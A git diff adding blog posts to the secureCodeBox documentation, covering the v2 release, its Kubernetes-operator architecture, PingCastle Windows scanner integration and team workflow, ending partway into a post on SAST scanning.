b/documentation/blog/2020-10-16-release-of-securecodebox-version-2.md @@ -0,0 +1,49 @@ +--- +# SPDX-FileCopyrightText: the secureCodeBox authors +# +# SPDX-License-Identifier: Apache-2.0 + +title: Release of Version 2 +author: Sven Strittmatter +author_title: Core Developer +author_url: https://github.com/Weltraumschaf +author_image_url: https://www.gravatar.com/avatar/3fe213284598b5cb69009665902c77a1 +tags: + - secureCodeBox + - release + - v2 +description: Here we announce the release of secureCodeBox version 2.0! +image: /img/blog/2020-10-16-firework.jpg +--- + +![Firework](/img/blog/2020-10-16-firework.jpg) + +(Photo by [Elisha Terada](https://unsplash.com/@elishaterada) on [Unsplash](https://unsplash.com/s/photos/firework)) + +We are very happy and proud to announce the [release version 2.0.0](https://github.com/secureCodeBox/secureCodeBox/releases/tag/v2.0.0) of _secureCodeBox_. It is a better, faster and greater _secureCodeBox_ since ever 😀 + +<!--truncate--> + +To get your hands on it you need a running [Kubernetes](https://kubernetes.io/) cluster and [Helm](https://helm.sh/). [Docker Desktop](https://www.docker.com/products/docker-desktop) with enabled Kubernetes is sufficient for your first steps. We have worked really hard to provide you a comprehensive [documentation](https://www.securecodebox.io/). There you find [installation instructions](https://www.securecodebox.io/docs/getting-started/installation) and how to [start your first scan](https://www.securecodebox.io/docs/getting-started/first-scans). + +:::caution + +Please note that scanning random hosts may be illegal. Please scan only hosts you are responsible for and you are permitted to do this. Everything you do with the _secureCodeBox_ is completely your responsibility. + +::: + +If you miss something in our documentation or you think it is unclear or wrong described. Please feel free to file an [issue](https://github.com/secureCodeBox/documentation/issues). If you need any help with your brand new _secureCodeBox_ don't hesitate to contact us via [Twitter](https://www.twitter.com/secureCodeBox), [Slack](https://join.slack.com/t/securecodebox/shared_invite/enQtNDU3MTUyOTM0NTMwLTBjOWRjNjVkNGEyMjQ0ZGMyNDdlYTQxYWQ4MzNiNGY3MDMxNThkZjJmMzY2NDRhMTk3ZWM3OWFkYmY1YzUxNTU), E-Mail (securecodebox [at] iteratec [dot] com) or just file an [issue](https://github.com/secureCodeBox/secureCodeBox) at GitHub. + +## What's New in secureCodeBox v2 + +The big changes we did in the architecture of _secureCodeBox_ we we will discuss in a later post. For now I'll give you only a brief outline of the hottest key features: + +- **Kubernetes bases orchestration of scans**: This means that we do not need the whole engine known from version 1. +- **No UI anymore**: In consequence, this means without the engine there is also no web UI anymore. +- **Cascading scans**: Now it is possible to feed the result of a scan into subsequent scans. +- **Resource consumption**: Massive reduction of consumed CPU and RAM because scanners only run when they scan. +- **Stability and scalability**: At [iteratec](https://www.iteratec.com) we run approximately a thousand scans a day against our infrastructure 😍 + +## What about secureCodeBox v1 + +Due to the fact of limited resources, we can't afford the maintenance for version 1. So we are forced to announce the [sundown and end of life](/blog/2020/10/15/sundown-and-eol-of-version-1) for _secureCodeBox_ version 1. diff --git a/documentation/blog/2021-01-27-drop-support-of-k8s-1.16.md b/documentation/blog/2021-01-27-drop-support-of-k8s-1.16.md new file mode 100644 index 0000000000..6c00c4c99b --- /dev/null +++ b/documentation/blog/2021-01-27-drop-support-of-k8s-1.16.md @@ -0,0 +1,25 @@ +--- +# SPDX-FileCopyrightText: the secureCodeBox authors +# +# SPDX-License-Identifier: Apache-2.0 + +title: Drop Support of k8s 1.16 +author: Sven Strittmatter +author_title: Core Developer +author_url: https://github.com/Weltraumschaf +author_image_url: https://www.gravatar.com/avatar/3fe213284598b5cb69009665902c77a1 +tags: + - secureCodeBox + - v2 + - kubernetes +description: We no longer support Kubernetes v1.16 in secureCodeBox v2. +image: /img/blog/2021-01-27-drop.jpg +--- + +![Fingerpost](/img/blog/2021-01-27-drop.jpg) + +Photo by [Levi XU](https://unsplash.com/@xusanfeng) on [Unsplash](https://unsplash.com/s/photos/drop). + +As [documented](/docs/getting-started/installation#version-support) we only support the latest four releases of [Kubernetes](https://kubernetes.io/). This means we **removed support** for [Kubernetes](https://kubernetes.io/) 1.16 with the _secureCodeBox_ [release 2.3.0](https://github.com/secureCodeBox/secureCodeBox/releases/tag/v2.3.0). + +If you rely on that particular version of [Kubernetes](https://kubernetes.io/), we may help you with custom paid support. Please contact us via [email](mailto:securecodebox@iteratec.com) or open an [GitHub issue](https://github.com/secureCodeBox/secureCodeBox/issues). diff --git a/documentation/blog/2021-06-07-why-securecodebox-version-2.md b/documentation/blog/2021-06-07-why-securecodebox-version-2.md new file mode 100644 index 0000000000..0753225210 --- /dev/null +++ b/documentation/blog/2021-06-07-why-securecodebox-version-2.md @@ -0,0 +1,110 @@ +--- +# SPDX-FileCopyrightText: the secureCodeBox authors +# +# SPDX-License-Identifier: Apache-2.0 + +title: Why secureCodeBox Version 2 +author: Sven Strittmatter +author_title: Core Developer +author_url: https://github.com/Weltraumschaf +author_image_url: https://www.gravatar.com/avatar/3fe213284598b5cb69009665902c77a1 +tags: + - secureCodeBox + - architecture + - v1 + - v2 +description: This post tells why we made a major breaking rewrite of secureCodeBox. +image: /img/blog/2021-06-07-why.jpg +--- + +![Why?](/img/blog/2021-06-07-why.jpg) + +Cover photo by [Evan Dennis](https://unsplash.com/@evan__bray) on [Unsplash](https://unsplash.com/s/photos/why). + +In this article I will give you a deeper insight why we decided to make a major breaking rewrite of the *secureCodeBox*. First I'll give you an overview of the v1 architecture and the rationale behind. Also outline the problems we stumbled upon using *secureCodeBox* v1 for some years now. Afterwards I introduce you to the new *secureCodeBox* v2 architecture and the rationale behind. + +<!--truncate--> + +## Architecture of the Version 1 + +Let's start with the design goals of v1: + +1. It should be possible to easily integrate new scanners. +2. All components should be loosely coupled to easily swap them. +3. The whole deployment should run anywhere (local, VMs, Cloud, etc.) and scale. +4. The definition and implementation of a scan process should be easy. + +This is not an exhaustive list of requirements for the architecture, but the most important ones. This resulted in a design outlined in the next image: + +![Architecture Overview of secureCodeBox version 1](/img/blog/2021-06-07-architecture-v1.png) + +This is a simplified component diagram of the *secureCodeBox* v1. Unimportant components (like reverse proxy, vulnerability management system, etc.) are left out for brevity. So lets dig deeper into these goals and how they were achieved. + +I introduce some wording for the next sections: + +- *Scanner*: This is the component composed of a container with a particular security scanner. +- *Engine*: This is the core component responsible for orchestration of *scanners*, providing the REST API and the web UI in *secureCodeBox* v1. +- *Scan process*: A description what kind of scanners we want to run against a target. + +So, let's have a look how we tried to achieve the architectural design goals from above. + +### Easy Integration of New Scanners + +There are a lot of tools for security testing out there. Hence, it was necessary to make it possible to integrate them easily. We achieved this by encapsulating each scanner into its own [Docker](https://www.docker.com) container. The basic idea was: If there is a new scanner, just put it inside a Docker container and attach it to the *secureCodeBox* *engine*. + +Typically, these scanners are Linux based command line tools and putting them inside a container is the easy part. On the other hand, each of these tools have different user interfaces: + +- They use different options, arguments, and config file formats. +- They vary in what they give as result (print to STDOUT or files) and how (XML, JSON, custom etc.). + +So obviously we needed some glue code which translates from the *secureCodeBox engine* to the command line arguments of the scanner and translates back the results to a unified format the *engine* can handle. This resulted in the *scanner scaffolding frameworks* ([Ruby](https://github.com/secureCodeBox/ruby-scanner-scaffolding) and [NodeJS](https://github.com/secureCodeBox/nodejs-scanner-scaffolding)) to help with the scanner integration. + +### Loosely Coupling + +We didn't want tight coupling between the *secureCodeBox* components, so we may easily swap one of them without touching everything else. With the approach of putting every scanner in its own container, we did the first step. The second step was a REST API for the communication between *engine* and the *scanners*. So we ended in a so-called [microservices architecture ](https://en.wikipedia.org/wiki/Microservices) where each *scanner* and the *engine* are services. + +At this point we had to choose between two approaches for integrating the *scanners* with the *engine*: + +1. The *engine* **pushes** new work to the *scanners*, or +2. the *scanners* **polls** the *engine* for new work. + +We decided to choose the second approach because this simplified the implementation tremendously: The *engine* must not do bookkeeping which *scanners* are available, crashed or need to be (re-)started. A *scanner* registers itself at the *engine* by polling for work and send back the result when finished. But with the consequence that *scanners* must run all the time to poll the *engine* and respond itself on crashes. + +### Deployment and Scaling + +This design goal is connected with the first one. As we decided to put each security scanner into its own container, it was not far to seek to put all components into containers and deploy them with [Docker Compose](https://docs.docker.com/compose/). So it was possible to run the *secureCodeBox* local on your machine, on virtual machines or even in any cloud environment. We ran our first production deployment with an early version of [Rancher](https://rancher.com/) on a virtual machine. Later we scaled out on multiple VMs and Google Cloud Platform. + +### Implementation of the Scan Process Workflows + +We needed a way to define our typical *scan processes*. For example such a process may look like: + +1. Scan for open ports. +2. Scan for TLS configuration errors. +3. Scan for outdated web servers. +4. Someone must review the findings. + +Very early we stumbled upon [Camunda](https://www.camunda.com) which is a [BPMN](https://en.wikipedia.org/wiki/Business_Process_Model_and_Notation) engine and we thought: "Our scan processes merely looks like such a business processes." We decided to use Camunda in the *engine* to manage all the workflows. That saved us a lot of time and effort because implementing such a big configurable state machine is no trivial task. Also we were keen of the UI Camunda brings with it to visualize the BPMN. So we built the *engine* on top of [Spring Boot with Camunda](https://docs.camunda.org/get-started/spring-boot/) and modeled the scans with BPMN and added a rich web UI. + +### Problems with This Design + +We used *secureCodeBox* v1 heavily in the last couple of years in various projects and to scan our own infrastructure. While using it we encountered that some of our decisions were not the best ones. + +#### Lot of Repositories to Release + +Due to the fact that we decided to use a micro service architecture we wanted to enforce this by separating the components as much as possible to reduce risk of tight coupling. This resulted in a pattern where we use own repositories for each component. This led to the vast number of roundabout a dozen repositories at [GitHub](https://github.com/secureCodeBox). All these repositories needed to be coordinated and aligned for a release which results in a lot of tedious work. Also we now had a lot of different places to look for issues and documenting things. + +#### Scanners Running All the Time + +Above I mentioned that we decided to use polling to coordinate the *scanners*. Firstly it looks reasonable to choose this approach because a push-based such resource handling is hard to implement. But as we used the *secureCodeBox* more and more in our projects we realized that cloud is not always that cheap as one would expect: If your containers run all the time cost may rise very quickly. In our case we used the *secureCodeBox* to scan all our company's infrastructure and hence we had hundreds of running *scanner* containers to spread the load. Due to the fact that they're running all the time and not only when they have work our operational costs rises very quickly. So in retrospective this architectural choice was not that good. + +#### Boilerplateing for Scanner Integration + +The integration of new scanners were not that easy as we assumed. First problem was you have to write lot of boilerplate code to translate from the scan task coming from the *engine's* API – Remember, above I said that a *scanner* polls for these tasks by requesting an API endpoint of the *engine*. – into the appropriate format of the scan tool's CLI. Also you needed to write the translation back from the tool's output to the format the *engine* can deal with. As if this was not enough you also had to write a BPMN process model which describes the scan and makes it possible to integrate it into the BPMN based *engine*. Turns out: That's too much tedious work. Nobody in the community contributed new *scanners*. In fact only one of our core committers did this extra mile and contributed new *scanners* (thanks [Robert](https://github.com/rseedorff)). + +#### Heavy Engine with SpringBoot and Camunda + +We decided to use the Camunda BPMN as core for our *engine*. We used the ready packaged [dependency with Spring Boot](https://docs.camunda.org/get-started/spring-boot/) because we wanted to provide a REST API for the *engine* and also add some nice web UI. So, Spring Boot looked like a reasonable choice. But it turned out as a big legacy. First it was a very large code base. If you have ever seen a Java based web application you know what I mean. Of course, Spring Boot reduces a lot of the typical Java boiler plate, but this is also part of the problem: It hides a lot of stuff behind some magic autoconfiguration. If you're not familiar with Spring Boot you have no clue how all this works. This made it very hard for contributors to fix or extend the *engine*. And as a site note: We discovered that nobody really used the fancy web UI. Frankly, it was only used for convincing business people in meetings. + +## Conclusion + +All these drove us to make a major rewrite of *secureCodeBox*. How we changed the architecture will be described in a follow up article on this blog. diff --git a/documentation/blog/2021-07-20-the-architecture-of-securecodebox-v2.md b/documentation/blog/2021-07-20-the-architecture-of-securecodebox-v2.md new file mode 100644 index 0000000000..9763c1eb60 --- /dev/null +++ b/documentation/blog/2021-07-20-the-architecture-of-securecodebox-v2.md @@ -0,0 +1,100 @@ +--- +title: The New Architecture +author: Sven Strittmatter +author_title: Core Developer +author_url: https://github.com/Weltraumschaf +author_image_url: https://www.gravatar.com/avatar/3fe213284598b5cb69009665902c77a1 +tags: + - secureCodeBox + - architecture + - v2 +description: This post describes the architecture of the secureCodeBox v2. +image: /img/blog/2021-07-20-orange-reflective-architecture.jpg +--- + +![Orange Reflective Architecture](/img/blog/2021-07-20-orange-reflective-architecture.jpg) + +Cover photo by [Alex Wong](https://unsplash.com/@killerfvith) on [Unsplash](https://unsplash.com/s/photos/architecture). + +In a [previous post](/blog/2021/06/07/why-securecodebox-version-2) I described the rationale behind our decision to abandon the _secureCodeBox_ v1 and redesign the whole architecture. In this post I'll go into the details of this redesigned architecture. + +<!--truncate--> + +## The Architecture of secureCodeBox Version 2 + +In [Kubernetes 1.17 they introduced a new concept of custom resources](https://medium.com/velotio-perspectives/extending-kubernetes-apis-with-custom-resource-definitions-crds-139c99ed3477). The short idea is, that you may extend Kubernetes with your own resources additionally to the default ones shipped with Kubernetes. Why should you do this? The interesting part of Kubernetes is that it is a great tool for resource management. Solely it is the most important part of Kubernetes to automate the management of datacenter resources. In v1 we "abused" a [BPMN](https://en.wikipedia.org/wiki/Business_Process_Model_and_Notation) engine for managing the *scans* and the associated resources were allocated all the time. But since the most important parts of the *secureCodeBox* (the *scanners*) are containers anyway, it makes sense to use a tool which is designed for managing such resources. So we came up with the idea to define the *scanners* as custom resources and replace the heavy Java based *engine* from v1 with a custom [operator](https://kubernetes.io/docs/concepts/extend-kubernetes/operator/) for Kubernetes. The whole idea to use Kubernetes as orchestrator for the *scans* is based upon a master thesis our core maintainer [Jannik](https://github.com/J12934) has written about [Automatic Assessment of Applications Security Aspects running in Cloud Environments](https://files.hollenbach.dev/master-thesis-jannik-hollenbach.pdf). The following diagram shows the new architecture of *secureCodeBox* v2. + +![Architecture Overview of secureCodeBox version 2](/img/blog/2021-07-20-architecture-v2.png) + +*Legend*: + +- the dashed arrows are actions, e.g. calls to the Kubernetes API or doing a scan +- the solid arrows are data flows +- the solid purple boxes are part of the *secureCodeBox* v2 +- the solid white boxes are external systems + +### Basic Idea + +The basic idea of the new architecture is to define the *scanners* as *custom resources* and [schedule them as *jobs* in Kubernetes](https://kubernetes.io/docs/concepts/scheduling-eviction/kube-scheduler/). The UI to interact with *secureCodeBox* is simply the Kubernetes API and `kubectl`. So, how does a scan works in this new design? + +1. A new scan is triggered via Kubernetes API or [kubectl](/docs/getting-started/first-scans). +2. The *operator* submits a new scan job which consists of two containers: + 1. The *scanner* which is a simple container running the CLI tool like [Zap](https://www.zaproxy.org/) or such (see [full list of integrated scanners](/docs/scanners)), + 2. and the *lurker* [sidecar](https://medium.com/bb-tutorials-and-thoughts/kubernetes-learn-sidecar-container-pattern-6d8c21f873d) which is a generic container used by all *scanners* which siphons all output from the CLI scanner into a S3 storage. (By default *secureCodeBox* contains [MinIO](https://min.io/), but you can use any S3 compatible storage.) +3. Then the *operator* starts a *parser* container job for this particular *scanner* which transforms the raw results into our well defined [finding format](/docs/api/finding) and stores them back into the S3 storage. +4. After that the *operator* submits *jobs* for all registered *read-write hooks*. This is a [concept](/docs/architecture/architecture_decisions/adr_0002) to allow post processing of findings. E.g. you can adjust fields or enrich the findings with data from other systems. +5. As last step the *operator* submits *jobs* for all registered *read hooks*. This is a [concept](/docs/architecture/architecture_decisions/adr_0002) to exfiltrate data from the *secureCodeBox* into external systems (e.g. notifications via chat or email, import into a VMS like [DefectDojo](https://www.defectdojo.org/) etc.). + +### Design Goals + +What about the design goals from the v1 architecture? Let's go through each of them: + +> It should be possible to easily integrate new scanners. + +The scanners are containers as in v1, but way more simpler: There is no need to jam the CLI tool into some glue code which transforms the incoming arguments and the outgoing results from the tool. You just simply create an image with the tool expecting its arguments and spitting out its result as is. The parsing of the result is done in a separate container. So you simply write a companion *parser* image for your *scanner* image which transforms the stored raw result into a generic [findings format](/docs/api/finding). + +Writing such a companion *parser* is quite simple because we provide an SDK to help you with that. If you are curious about this topic you can read our documentation about [integrating a new scanner](/docs/contributing/integrating-a-scanner). + +> All components should be loosely coupled to easily swap them. + +The basic idea oft loosely coupling all components is nearly the same as in v1. We separate all components into individual services. Certainly more lightweight than in v1 because we drastically reduced the complexity of the individual *scanner* images. Most of the components are individual containers communicating via well defined APIs (Kubernetes API instead of own REST API) to each other. + +But there is also a major improvement over the v1 architecture. As mentioned in the [previous articles](/blog/2021/06/07/why-securecodebox-version-2) we had a web UI in v1. This introduced accidentally a tight coupling between the *scanners* and the *engine* because for each new *scanner* or feature of one it was mandatory to adapt the UI. We introduced a tight coupling through the backdoor. This was a major pain in the ass when it came to releases because we had to release everything at once. All the *scanners* and the *engine* which were located in individual repositories. This resulted in a complete day job to make a release. + +With the new architecture we strictly decoupled *scanners* and *engine*. The *scanners* are *custom resources* and the *engine* is an *operator*. Both well known concepts of Kubernetes decoupled by the API provided by Kubernetes. If you now add a new *scanner* there is no need to touch the *operator*. This architecture has one downside. It is tightly coupled to Kubernetes. So it is not possible to run *secureCodeBox* without Kubernetes or a future system which provides the same API. But we are willing to accept this tradeoff due to all the benefits we receive. + +> The whole deployment should run anywhere (local, VMs, Cloud, etc.) and scale. + +This does not hold anymore! For *secureCodeBox* v2 a Kubernetes cluster is mandatory as environment. Of course you can run *secureCodeBox* on any virtual machine, cloud or local, as far as you install Kubernetes. We put up with this trade-off because Kubernetes is ubiquitous nowadays and the benefits as mentioned above are worth it. + +> The definition and implementation of a scan process should be easy. + +We defined our own YAML syntax to declare a scan process. This is way easier than generating [BPMN](https://en.wikipedia.org/wiki/Business_Process_Model_and_Notation) models in Java as for *secureCodeBox* v1. You can see it in action at our [how to section](/docs/how-tos). It's simply writing YAML :smile_cat: + +### New Design goals + +Since we are already making a breaking change we could add some new design goals which we considered of importance: + +#### Scanners Does Not Run All the Time Idling + +This is the main reason why we use Kubernetes as underlying platform: Kubernetes manages when to start and stop containers. With this new architecture containers only run when they have work to do. The only component which runs all the time is the *operator* and maybe the S3 storage if you use the built in instead of an external one. + +#### Easy Use in Cloud Based Projects + +In environments where projects share large scale Kubernetes clusters it is possible to install the *operator* as a central component. The *scanners* instead can be installed and run in the namespaces of the project. So they can use *secureCodeBox* complete independently. They need not beg some cluster administrators to install new *scanners* or change a scan process. The projects can do this on their on behalf inside their project namespace. + +#### No Need of Central CI/CD + +In v1 you needed a system which triggers a scan. Typically this was a CI/CD system which made a REST API call to the *engine*. This is not necessary anymore. You can simply [run a scan with kubectl](/docs/getting-started/first-scans). Also you can [schedule regularly scans](/docs/how-tos/automatically-repeating-scans) directly inside Kubernetes. But despite that you can trigger a scan from your CI/CD anyway. Just simply call the Kubernetes API. + +#### CLI First + +Since we learned that the full bloated web UI of *secureCodeBox* v1 was only a nice feature for management slides, we completely abandoned such a UI. Our main target audience are developers which are used to command line interfaces and embrace DevSecOps where you want to automate as much as possible. A CLI is obviously way more convenient to automate than a web UI. + +But anyway you may want some web UI to manage your findings. At the moment we provide simply Kibana and Elasticsearch to visualize them. But we're working hard on better solutions. Additionally you can import all the findings in any system you want with a [custom *read hook*](/docs/architecture/architecture_decisions/adr_0002). + +#### Cascading Scans + +We had early the demand to trigger subsequent scans based on previous scan results. A very simple but common use case is to scan a host for open ports and afterwards scan these ports with dedicated *scanners*. In v1 we used a galactic workaround to achieve this: We first executed a Nmap scan and stored the result. Then we executed separate scans for the found open ports. The orchestration was done with [Jenkins pipelines](https://www.jenkins.io/doc/book/pipeline/) and some Python scripts. Actually we hacked a separate "engine" on top of the main [BPMN](https://en.wikipedia.org/wiki/Business_Process_Model_and_Notation) engine because we couldn't extend it to execute sub process models in a process model with separate scopes. You see this was not a very well engineered solution :wink: + +Since we introduced in v2 our own [YAML syntax](/docs/how-tos) to define scans, we had the opportunity to just extend it for the purpose of [cascading scans](docs/architecture/architecture_decisions/adr_0002). We introduced the [Cascading Rule](/docs/api/crds/cascading-rule) custom resource. With this you can specify a scanner to be scheduled based on previous findings. diff --git a/documentation/blog/2021-08-09-integrating-windows-scanners.md b/documentation/blog/2021-08-09-integrating-windows-scanners.md new file mode 100644 index 0000000000..d9973afd0b --- /dev/null +++ b/documentation/blog/2021-08-09-integrating-windows-scanners.md @@ -0,0 +1,93 @@ +--- +# SPDX-FileCopyrightText: the secureCodeBox authors +# +# SPDX-License-Identifier: Apache-2.0 + +title: Windows Scanners and the secureCodeBox +author: Sebastian Franz +author_title: Contributor +author_url: https://github.com/SebieF +author_image_url: https://avatars.githubusercontent.com/u/32578476?v=4 +tags: +- secureCodeBox +- windows +- scanners +- pingcastle +description: This post describes our journey to integrate a Windows scanner into the scb. +image: /img/blog/2021-08-09-windows.jpg +--- + +![Windows](/img/blog/2021-08-09-windows.jpg) + +Cover photo by [Tadas Sar](https://unsplash.com/@stadsa) on [Unsplash](https://unsplash.com/photos/T01GZhBSyMQ). + +Get some insights into the fascinating and exhausting world of integrating Windows™ scanners into the _secureCodeBox_. + +<!--truncate--> + +## Windows Security + +To date, Microsoft Windows is still the most popular operating system, especially in office or work related areas. +Unsurprisingly, [the majority of malware](https://www.statista.com/statistics/680943/malware-os-distribution/) is also created for windows. +While most of the scanners already implemented in the _secureCodeBox_ can target and be run on any operating system, +the need for Windows-specific security measures is blatant. +There exist several security scanners that target specific Windows-related security aspects, such as +[Mandiant](https://www.fireeye.com/mandiant.html) or [PingCastle](https://pingcastle.com/). +PingCastle scans a domain with an Active Directory (AD), reporting any risks that can result from disproportionately +privileged accounts or weak password policies for example. +It is the first scanner that we went for integrating in the _secureCodeBox_, and what a journey it was! +Join us on our path to automated Windows security, including a lot of inception, dirty workarounds and a sour taste of +Wine... + +## Integrating PingCastle into the secureCodeBox - First Attempts + +So here was our starting point: We already ran some successful scans of PingCastle against our own AD. So it would +be nice to automate the scans and get informed if some critical issues arise. As this is the whole point of our +_secureCodeBox_, we wanted to add PingCastle as a scanner and eventually provide the community (you) with a possibility +to do the same. +As all of our scanners run on Linux distributions to date, it would not be feasible to simply add a Windows Docker +container to our Kubernetes cluster, as Linux and Windows Docker environments are not easily interchangeable. +So the idea was simply to run PingCastle in a Linux container. Well, it didn't turn out to be that simple... + +As [PingCastle is open source](https://github.com/vletoux/pingcastle), our first attempt was to compile it ourselves +with Mono or .NET for Linux. We tried it to no avail. After some talks with professional .NET developers, we decided +that this approach will exceed both our time and knowledge capabilities. + +So the next idea was to run it with [Wine](https://wiki.ubuntuusers.de/Wine/). If this worked, we would have had a pretty +stable solution that could probably be applied for a lot of Windows scanners. Unfortunately, PingCastle did start +and execute in our Wine environment, but failed to execute any scans against our AD. After trying a lot of stuff +with adding our computers to the domain and using VPN connections, we had to give up. Probably, PingCastle in the +Wine environment does not have the required access to some DLLs needed for the scan or PingCastle itself is just a +little picky as we will see later... +However, maybe we will come back to Wine in the future for other Windows scanners. + +## Starting the inception + +So we finally came up with a rather "brute-force" method: If PingCastle solely runs on Windows - why not put Windows +into a Linux container? Virtual machines (VMs) have become a well-known tool to achieve stuff like this. After solving some +problems setting it up, we could confirm that it actually worked to run a Windows VM in a Linux Docker Container! +(Running on our Ubuntu main OS, providing the [Virtual Box](https://www.virtualbox.org/) driver, so that the VM +actually does not run in the container but rather on the host OS, the inception took off!) + +After that we prepared the Windows 10 virtual machine image by adding it to the domain, linking it to our VPN and +finally installing PingCastle. We could confirm that the scans inside the VM ran properly, but surprisingly a major +issue with the VPN arose. Of course, one has to connect to the VPN automatically on start-up in order to run the scans +from outside the machine. It turned out, however, that PingCastle is indeed very picky. It always refused to work +while the machine was connected automatically to the VPN +(e.g. using [rasdial](https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/ff859533(v=ws.11))). +It would, however, perfectly do its job when being connected manually to the VPN! +We tried a lot here, and you can read all about our dirty workaround to finally make it work in our related extensive +["Tutorial"](https://github.com/secureCodeBox/secureCodeBox/blob/pingcastle/scanners/pingcastle/scanner/Tutorial.md). + +## Conclusion + +With this tutorial you should be able to reproduce our attempt and set up a working container that is actually +capable to be integrated into the _secureCodeBox_. We already provide you with all other necessary files, especially +the parser that automatically converts the PingCastle scan *xml* to our _secureCodeBox_ findings format. +Be aware, however, that the solution is not yet stable for production and that you could still face some major issues +with it. For example, it is not yet clear to us how the container will behave when being deployed over a long period +of time. Maybe the VM will shut down unexpectedly, and we all know and love the [BSoD](https://en.wikipedia.org/wiki/Blue_screen_of_death) +when Windows refuses to start normally. This, of course, would also hinder any automatic scans from being executed. + +That is why we are thankful for any comments, experience reports or even suggestions, how to improve our chosen +setup. In addition, if you have any questions or face any issues, please also let us know! diff --git a/documentation/blog/2021-09-07-how-we-work.md b/documentation/blog/2021-09-07-how-we-work.md new file mode 100644 index 0000000000..ff7ccb0d7f --- /dev/null +++ b/documentation/blog/2021-09-07-how-we-work.md @@ -0,0 +1,87 @@ +--- +# SPDX-FileCopyrightText: the secureCodeBox authors +# +# SPDX-License-Identifier: Apache-2.0 + +title: How Our Core Development Team Works +author: Sebastian Franz +author_title: Core Developer +author_url: https://github.com/SebieF +author_image_url: https://avatars.githubusercontent.com/u/32578476?v=4 +tags: + - secureCodeBox + - agile + - community + - open source +description: This post gives some insights about how our core development team is organized. +image: /img/blog/2021-09-07-notes.jpg +--- + +![Notes](/img/blog/2021-09-07-notes.jpg) + +Cover photo by [Kelly Sikkema](https://unsplash.com/@kellysikkema) on [Unsplash](https://unsplash.com/photos/-nz-GTuvyBw). + +Learn how our core development team works and about how to collaborate with us! + +<!--truncate--> + +## Introduction + +The *secureCodeBox* is still a small, yet growing open source project. At the time of writing, +the major share of work is done by roundabout eight developers from [Iteratec](https://iteratec.com). +That's also where the idea for the *secureCodeBox* was born about four years ago. +Lately, we received a growing number of community contributions (Thank you!), which encourages us to reveal our +internal development process to a wider audience. We do so to enable you, if you will, to take an even more active +part in our development process (see last section). + +## How We Work + +Both, students and full-time developers, work together in our team. In addition, we are highly geographically +distributed all over Germany. This, of course, requires some coordination, +because especially the regular employees often have to take some time for the open source project only. +That's why we are working in an *agile* setup and try to stick to the general ideas of +[Scrum](https://www.scrum.org/resources/what-is-scrum) and [Kanban](https://en.wikipedia.org/wiki/Kanban_(development)). +We work in **sprints** of two weeks (regularly). For each sprint, our Product Owner (PO) decides, which tasks are the most +important to solve. Thereupon, our developers are free to coordinate and pick the issues they want to work on. +The communication itself happens on our internal MS Teams platform. To keep the community updated all our +tickets are publicly available on GitHub as [issues](https://github.com/secureCodeBox/secureCodeBox/issues). +You can even get insight into our current sprint in our [GitHub Project](https://github.com/orgs/secureCodeBox/projects/5). +The issues in the *To-Do* column are sorted by their importance regarding the current sprint. + +For each issue, one or more developers will usually create a new branch in the repository and commit changes there. +After completion, a **Pull Request** (PR) will be created and reviewed by other members of the team. After all +our CI tests and the reviewer are satisfied, the PR gets merged automatically or by one of our admins. + +## Review/Retro/Planning Session + +The highlight of every sprint, finally, is our *Review/Retro/Planning* session. It lasts about two hours, while we first +**review** which results we achieved during the last sprint, i.e. which issues we worked on. We often show +new features that we added to the other developers and the Product Owner, or point out on problems that we are +currently facing and how we want to solve them. Because of limited time, we don't discuss new features or problems +in-depth, as we also have a separate dev meeting for that. + +Next up, we do a **retro**(-perspective) of the elapsed sprint. For example, we discuss what we liked, what we learnt +and what we missed in the past weeks. This can range from technical problems over theoretical learnings about security +to personal issues. It is designed as a safe space where everyone can freely speak his mind without fear of negative +consequences. We also try to stick to the principles of *Inspect* and *Adapt*, which means that we always want to +improve on limitations and problems that we identified during the last sprint. + +Finally, we **plan** our next sprint, where issues will get prioritized by the product owner as described above. +Other team members will, of course, also be asked for their opinion on what to focus on and what will take how much time. +This ensures that the dreams of our product owner always stay realistic ;-). +After that, a new sprint starts over (but before we enjoy our weekend). + +## Get Engaged! + +You now know how our core development team is organized to work at the *secureCodeBox*. +If you are a regular user of the *secureCodeBox* and/or want to contribute more actively to the code, now is the best time to start! +Of course, you can stay "anonymous", create your own pull requests and issues in our repository or chat with our +developers about new features. If you, however, want to take one step further, we are very happy if you get in touch, +for example by writing us an [e-mail](mailto:securecodebox@iteratec.com) +or joining our [Slack channel](https://join.slack.com/t/securecodebox/shared_invite/enQtNDU3MTUyOTM0NTMwLTBjOWRjNjVkNGEyMjQ0ZGMyNDdlYTQxYWQ4MzNiNGY3MDMxNThkZjJmMzY2NDRhMTk3ZWM3OWFkYmY1YzUxNTU%22). + +Of course, we will face some new challenges when we integrate new stakeholders and developers into our meetings. +The time span of our meeting is already quite tight for all that we have to discuss, and we would probably also have +to deal with different time zones. +That is why we are very happy to hear from you and discuss, how we can get you involved into our development process +and find solutions together! diff --git a/documentation/blog/2021-10-27-sast-scanning.md b/documentation/blog/2021-10-27-sast-scanning.md new file mode 100644 index 0000000000..9c49bb7f79 --- /dev/null +++ b/documentation/blog/2021-10-27-sast-scanning.md @@ -0,0 +1,377 @@ +--- +# SPDX-FileCopyrightText: the secureCodeBox authors +# +# SPDX-License-Identifier: Apache-2.0 + +title: Introducing SAST Scanning With secureCodeBox 3.3 +author: Max Maass +author_title: Core Developer +author_url: https://github.com/malexmave +author_image_url: https://avatars.githubusercontent.com/u/1688580?v=4 +tags: + - secureCodeBox + - SAST + - cascading scans + - case study +description: This post gives an introduction to using the new SAST functionality of secureCodeBox to find a malicious dependency +image: /img/blog/2021-10-27-magnifyingglass.jpg +--- + +![A magnifying glass pointed at a laptop keyboard](/img/blog/2021-10-27-magnifyingglass.jpg) + +Cover photo by [Agence Olloweb](https://unsplash.com/@olloweb) on [Unsplash](https://unsplash.com/photos/d9ILr-dbEdg). + +With _secureCodeBox_ 3.3, we have added several features that allow you to use _secureCodeBox_ for static application security testing (SAST). +This blog post gives an introduction to how several new features of _secureCodeBox_ 3.3 can be used to quickly run targeted SAST scans of your entire codebase. +By the end of this post, you will know how to build a SAST workflow to detect which of your repositories include a malicious dependency. +We will cover all steps of the process: obtaining a list of all software repositories in your organization, cloning and scanning them, and even dropping all of the results into a DefectDojo instance for later inspection. + +<!--truncate--> + +## Introduction + +_secureCodeBox_ has been able to run dynamic security tests of your infrastructure for quite a while. +However, some issues are easier to catch by analyzing the source code of the applications directly. +This is the domain of static application security testing (SAST) tools, which detect dangerous code fragments and inform you long before they hit your production systems. +Normally, you would integrate these tools directly into 